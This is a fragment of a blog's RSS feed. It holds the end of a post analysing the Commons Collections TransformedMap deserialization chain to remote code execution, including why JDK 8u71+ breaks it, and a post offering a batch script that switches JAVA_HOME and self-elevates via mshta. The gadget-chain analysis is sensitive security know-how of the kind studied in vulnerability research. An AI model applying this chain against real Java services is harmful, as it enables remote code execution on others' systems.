&lt;h3 id=&#34;走到transform&#34;&gt;走到transform()
&lt;/h3&gt;&lt;p&gt;TransformedMap类继承了 &lt;code&gt;AbstractInputCheckedMapDecorator&lt;/code&gt;，存在 &lt;code&gt;setValue()&lt;/code&gt; 方法&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public Object setValue(Object value) {
    value = this.parent.checkSetValue(value);
    return super.entry.setValue(value);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后通过TransformedMap的checkSetValue()到了我们想要的transform()方法&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;transform到rce&#34;&gt;transform()到RCE
&lt;/h3&gt;&lt;p&gt;利用链成立，分析正确。&lt;/p&gt;
&lt;h2 id=&#34;jdk18为什么不行&#34;&gt;jdk1.8为什么不行
&lt;/h2&gt;&lt;p&gt;其实上面的poc在Java 7的低版本(只测试了7u80，没有具体版本号)、8u71之前都是可以使用的，在Java 8u71之后代码发生了变动。&lt;/p&gt;
&lt;p&gt;那么为什么不行呢，看一下jdk8里面的&lt;code&gt;sun.reflect.annotation.AnnotationInvocationHandler&lt;/code&gt; readObject复写点&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get(&amp;quot;type&amp;quot;, (Object)null);
        Map var4 = (Map)var2.get(&amp;quot;memberValues&amp;quot;, (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException(&amp;quot;Non-annotation type in annotation serial stream&amp;quot;);
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) &amp;amp;&amp;amp; !(var11 instanceof ExceptionProxy)) {
                    //没有了map赋值语句，伤心
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + &amp;quot;[&amp;quot; + var11 + &amp;quot;]&amp;quot;)).setMember((Method)var5.members().get(var10));
                }
            }
        }
        ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为这个函数出现了变动，不再有针对我们构造的map的赋值语句，所以触发不了漏洞。&lt;/p&gt;
&lt;p&gt;而是改成了新建一个LinkedHashMap，把值转到这个LinkedHashMap里。&lt;/p&gt;
</description>
        </item>
        <item>
        <title>JAVA版本切换脚本</title>
        <link>https://www.fufu.me/javaverchange/</link>
        <pubDate>Sat, 25 Jan 2025 19:22:36 +0800</pubDate>
        
        <guid>https://www.fufu.me/javaverchange/</guid>
        <description>&lt;img src="https://www.fufu.me/img/java-logo.png" alt="Featured image of post JAVA版本切换脚本" /&gt;&lt;p&gt;经常使用java的朋友可以发现，我们需要在一台电脑上部署多种版本的java来运行不同的程序。但是java版本之间的切换很麻烦，要手动更改环境变量的值，所以我写了以下脚本来简化这一过程。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;环境变量的形式是键值对，当值是目录时，在cmd中输入单词时会到path变量的目录下寻找这个词的可执行文件。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&#34;language-bat&#34;&gt;@echo off 
::Get Administrator Privileges
%1 mshta vbscript:CreateObject(&amp;quot;Shell.Application&amp;quot;).ShellExecute(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c %~s0 ::&amp;quot;,&amp;quot;&amp;quot;,&amp;quot;runas&amp;quot;,1)(window.close)&amp;amp;&amp;amp;exit
cd /d &amp;quot;%~dp0&amp;quot;
::Setting Window Size
mode con cols=120 lines=60
title JDK-Version change script of Bat
:menu
echo current jdk version:
java -version
echo.
echo =============================================
echo ################ JDK version-list ################
echo.
echo          [0]  cancel switch
echo          [8]  switch to JDK8
echo          [17] switch to JDK17
echo          [22] switch to JDK22
echo.
echo =============================================
echo.
set /P vb=Please choose need switch JDK versions:
if &amp;quot;%vb%&amp;quot; EQU &amp;quot;8&amp;quot; (
    setx &amp;quot;JAVA_HOME&amp;quot; &amp;quot;C:\Program Files\Java\jdk-1.8&amp;quot; /m
    echo Tips: Successfully switched JDK version, &amp;quot;JAVA_HOME&amp;quot; has been modified C:\Program Files\Java\jdk-1.8.
    pause
    echo.
) else if &amp;quot;%vb%&amp;quot; EQU &amp;quot;17&amp;quot; (
    setx &amp;quot;JAVA_HOME&amp;quot; &amp;quot;C:\Program Files\Java\jdk-17&amp;quot; /m
    echo Tips: Successfully switched JDK version, &amp;quot;JAVA_HOME&amp;quot; has been modified C:\Program Files\Java\jdk-17.
    pause
    echo.
) else if &amp;quot;%vb%&amp;quot; EQU &amp;quot;22&amp;quot; (
    setx &amp;quot;JAVA_HOME&amp;quot; &amp;quot;C:\Program Files\Java\jdk-22&amp;quot; /m
    echo Tips: Successfully switched JDK version, &amp;quot;JAVA_HOME&amp;quot; has been modified C:\Program Files\Java\jdk-22.
    pause
    echo.
) else if &amp;quot;%vb%&amp;quot; EQU &amp;quot;0&amp;quot; (
       goto exit
) else (
    echo.
    echo ! choosing version error, please renew choice ...
    echo.
    goto menu
    pause
)
echo Please press any key to exit.. &amp;amp; pause &amp;gt; nul
:exit
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&#34;脚本本地化&#34;&gt;脚本本地化
&lt;/h2&gt;&lt;p&gt;java的目录结构如下所示，我自己创建了scripts目录，然后把脚本放到了里面，脚本的名字叫jchan.bat&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/javaverchange/images/jcbfbfdihr.png&#34;
	width=&#34;886&#34;
	height=&#34;192&#34;
	srcset=&#34;https://www.fufu.me/javaverchange/images/jcbfbfdihr_hu1343971766474637503.png 480w, https://www.fufu.me/javaverchange/images/jcbfbfdihr_hu6374686705726725311.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;jcbfbfdihr&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;461&#34;
		data-flex-basis=&#34;1107px&#34;
	
&gt;&lt;/p&gt;
&lt;p&gt;如果路径不同请修改脚本中的语句&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-bat&#34;&gt;if &amp;quot;%vb%&amp;quot; EQU &amp;quot;8&amp;quot; (
    setx &amp;quot;JAVA_HOME&amp;quot; &amp;quot;C:\Program Files\Java\jdk-1.8&amp;quot; /m
    echo Tips: Successfully switched JDK version, &amp;quot;JAVA_HOME&amp;quot; has been modified C:\Program Files\Java\jdk-1.8.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.其中第一行&lt;strong&gt;EQU 8&lt;/strong&gt;代表输入的数字选项，按照自己的版本情况自行修改。&lt;/p&gt;
&lt;p&gt;2.第二行setx &amp;ldquo;JAVA_HOME&amp;rdquo; &amp;ldquo;C:\Program Files\Java\jdk-1.8&amp;rdquo; /m中&lt;strong&gt;C:\Program Files\Java\jdk-1.8&lt;/strong&gt;表示要写入环境变量键&lt;strong&gt;JAVA_HOME&lt;/strong&gt;的值，所以后面的值要更改成自己java的路径(重要)。&lt;/p&gt;
&lt;p&gt;3.第三行是输出提示，仍然是更改路径即可。&lt;/p&gt;
&lt;h2 id=&#34;环境变量配置&#34;&gt;环境变量配置
&lt;/h2&gt;&lt;p&gt;使用前应该保证在环境变量里添加了如下配置&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/javaverchange/images/hrjybmldpzvi.png&#34;
	width=&#34;840&#34;
	height=&#34;430&#34;
	srcset=&#34;https://www.fufu.me/javaverchange/images/hrjybmldpzvi_hu14842711936301359023.png 480w, https://www.fufu.me/javaverchange/images/hrjybmldpzvi_hu14931228372940344273.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;hrjybmldpzvi&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;195&#34;
		data-flex-basis=&#34;468px&#34;
	
&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;JAVA_HOME&lt;/strong&gt;的值随意，因为在之后切换的过程中会被脚本自己更改，所以只要做好&lt;strong&gt;脚本本地化中的第二步即可&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;classpath按图示配置&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-powershell&#34;&gt;.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&#34;path中添加java的环境变量&#34;&gt;path中添加java的环境变量
&lt;/h2&gt;&lt;p&gt;按图示填入值，注意一定要删除红色框中的值，这是java自己生成的path，会影响版本的切换！&lt;/p&gt;
&lt;p&gt;黑色框的值自己填入，注意第二行，要填自己电脑scripts文件夹的路径。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-powershell&#34;&gt;%JAVA_HOME%\bin
C:\Program Files\Java\scripts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/javaverchange/images/javahrjybmld.png&#34;
	width=&#34;677&#34;
	height=&#34;663&#34;
	srcset=&#34;https://www.fufu.me/javaverchange/images/javahrjybmld_hu13097542337124427959.png 480w, https://www.fufu.me/javaverchange/images/javahrjybmld_hu15380945036405222247.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;javahrjybmld&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;102&#34;
		data-flex-basis=&#34;245px&#34;
	
&gt;&lt;/p&gt;
&lt;p&gt;配置完毕后，你就可以使用了。&lt;/p&gt;
&lt;p&gt;方法：Win+R-&amp;gt;键入cmd-&amp;gt;jchan(因为前面把脚本命名为了jchan.bat)-&amp;gt;按脚本提示更改版本。&lt;/p&gt;
&lt;h2 id=&#34;文件下载地址jchanbathttpscloudnichttopsp7ua&#34;&gt;文件下载地址：&lt;a class=&#34;link&#34; href=&#34;https://cloud.nicht.top/s/P7ua&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;📄jchan.bat
&lt;span style=&#34;white-space: nowrap;&#34;&gt;&lt;svg width=&#34;.7em&#34;
    height=&#34;.7em&#34; viewBox=&#34;0 0 21 21&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;
    &lt;path d=&#34;m13 3l3.293 3.293l-7 7l1.414 1.414l7-7L21 11V3z&#34; fill=&#34;currentColor&#34; /&gt;
    &lt;path d=&#34;M19 19H5V5h7l-2-2H5c-1.103 0-2 .897-2 2v14c0 1.103.897 2 2 2h14c1.103 0 2-.897 2-2v-5l-2-2v7z&#34;
        fill=&#34;currentColor&#34;&gt;
&lt;/svg&gt;&lt;/span&gt;

&lt;/a&gt;

&lt;/h2&gt;</description>
        </item>
        
    </channel>
</rss>
